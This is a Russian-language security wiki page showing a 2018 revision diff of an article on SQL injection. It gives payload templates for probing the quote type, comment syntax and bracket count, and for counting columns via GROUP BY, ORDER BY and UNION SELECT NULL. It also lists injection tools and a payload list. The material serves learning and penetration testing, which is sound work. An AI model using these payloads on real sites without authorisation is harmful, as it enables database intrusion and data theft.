Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м
Строка 58: Строка 58:
  
  
Первый вариант.
+
Первый вариант - GROUP BY
GROUP BY - есть у MySQL,(добавить),  
+
Есть у MySQL,(добавить).
 +
 
 +
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
{параметр}{кавычка}{скобочки}
+
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
 +
</syntaxhighlight>
 +
 
 +
 
 +
Второй вариант - ORDER BY
 +
Есть у MySQL,(добавить).
  
 +
Аналогично GROUP BY.
  
  
После чего надо подобрать количество колонок.
+
Третий - прямой брутфорс.
  
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
 +
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
 +
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
 +
</syntaxhighlight>
  
 +
=====Обратить внимание=====
 +
 +
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
 +
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
LIMIT 1
 +
LIMIT 0,1
 +
WHERE ROWNUM==1
 +
</syntaxhighlight>
  
 
====Error-Based====
 
====Error-Based====

Версия 11:50, 19 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 
{параметр} aNd 1=1
{параметр}	aNd	1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1

{параметр}' aNd '1'='1
{параметр}'	aNd	'1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1

{параметр}" aNd "1"="1
{параметр}"	aNd	"1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количкество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1

{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок

Первый вариант - GROUP BY Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


Второй вариант - ORDER BY Есть у MySQL,(добавить).

Аналогично GROUP BY.


Третий - прямой брутфорс.

{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

LIMIT 1
LIMIT 0,1
WHERE ROWNUM==1

Error-Based

Boolean-Based

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

OracleDB

PostgreSQL

SQLite3

IBM DB2

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql